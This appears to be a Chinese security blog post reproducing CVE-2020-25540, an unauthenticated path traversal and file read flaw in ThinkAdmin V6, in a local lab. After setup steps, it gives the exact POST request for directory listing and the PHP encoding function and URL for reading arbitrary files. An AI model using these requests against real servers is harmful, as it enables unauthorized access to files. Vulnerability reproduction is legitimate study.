CVE-2020-25540 ThinkAdmin漏洞复现


ThinkAdmin V6版本存在路径遍历漏洞。该漏洞主要是因为api中存在危险函数,且未作任何限制。未作任何认证可以直接调用api中此两危险函数。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的文件。

影响版本

ThinkAdmin版本小于 ≤ 2020.08.03.01

实验环境

Windows10 1511 64位 家庭版,phpStudy2018,ThinkAdmin V6

复现过程

1. 环境配置

安装phpStudy2018,注意安装目录不能含有空格。安装完成后,切换版本为php7.1或以上,并添加环境变量。在命令行输入php -v验证是否配置成功。

还是在php-7.2.1-nts目录下,找到php.ini文件并打开,找到extension=php_openssl.dll,去掉前面的分号。这一步的目的是能在cmd命令中进行访问。

然后下载composer最新版(Manual Download下面找),下载完成后是一个.phar文件,把该文件放在php目录下,然后在同目录下创建一个composer.bat文件,写入以下内容后执行:

@ECHO OFF
 php "%~dp0composer.phar" %*

重启电脑,命令行输入composer -v验证是否安装成功。

安装成功后可以选择性的设置阿里源:composer config -g repo.packagist composer https://mirrors.aliyun.com/composer

设置好composer后下载ThinkAdmin V6,这个是Gitee的链接,如果选择下载zip可能会出错,可以直接使用git clone https://gitee.com/alleynstranger/think-admin-v6.git。下载完成后进入ThinkAdmin目录,命令行打开输入composer install,等待一会儿安装成功。在这里可能会报错,不用在意,继续往后进行,只要输入php think run后正常执行即可。

然后需要创建一个数据库。启动phpStudy,在MySQL管理器中打开MySQL-Front,右键左侧栏的localhost选择新建数据库,名字我这里取的是admin_v6。创建完成保留为空数据库即可,然后右键该数据库,选择输入–>SQL文件,然后选择thinkadmin目录下附带的sql文件进行导入。

打开ThinkAdmin/config/database.php文件,修改数据库信息。用户名和密码默认均为root,端口默认为3306。

以上都没有问题,则命令行输入php think run运行thinkadmin,没有报错,浏览器打开http://127.0.0.1:8000。如果提示控制器不存在,则修改config/app.php文件中的'default_app' => 'admin'

2. 目录遍历

使用BurpSuite抓取上面那个页面的包,发送到Reapter,修改几处:

  • GET改为POST
  • 网址改为/admin.html?s=admin/api.Update/node
  • 在最后加上一行rules=%5b%22%2f%22%5d
POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: 192.168.227.146:8000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=807d87164805eb1b01f6d21b67721985
Connection: close
Content-Length: 21

rules=%5b%22%2f%22%5d

发送后,就可以看到返回包里带有目录列表了。

3. 任意文件读取

在ThinkAdmin根目录下新建一个1.txt文件,写入任意字符串(例如:php),然后建一个php文件,写入以下内容:

function encode($content)
{
	list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
	for ($i = 0; $i < $length; $i++) 
		$chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
	return $chars;
}

然后在命令行运行:php filename.php。正常来说会在命令行中返回一串字符串,但我这里没有返回,没有学过php所以也没找到是什么原因。

访问http://127.0.0.1:8000/admin.html?s=admin/api.Update/get/encode/1d1a383c38,(最后的1d1a383c38即为上面应该返回的字符串)即可看到成功读取文件,内容已加密。

解密后,即为文件中的内容。

参考链接


文章作者: 恰醋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 恰醋 !
评论
 上一篇
CVE-2017-6020 LAquis SCADA目录遍历漏洞复现 CVE-2017-6020 LAquis SCADA目录遍历漏洞复现
该漏洞为LAquis SCADA的目录遍历漏洞,它允许攻击者下载受害者主机上的任意文件。
2020-12-07
下一篇 
CVE-2020-0618 SQL Server RCE漏洞复现 CVE-2020-0618 SQL Server RCE漏洞复现
获得低权限的攻击者向受影响版本的SQL Server的Reporting Services实例发送精心构造的请求,可利用此漏洞在报表服务器服务帐户的上下文中执行任意代码。
2020-11-12
  目录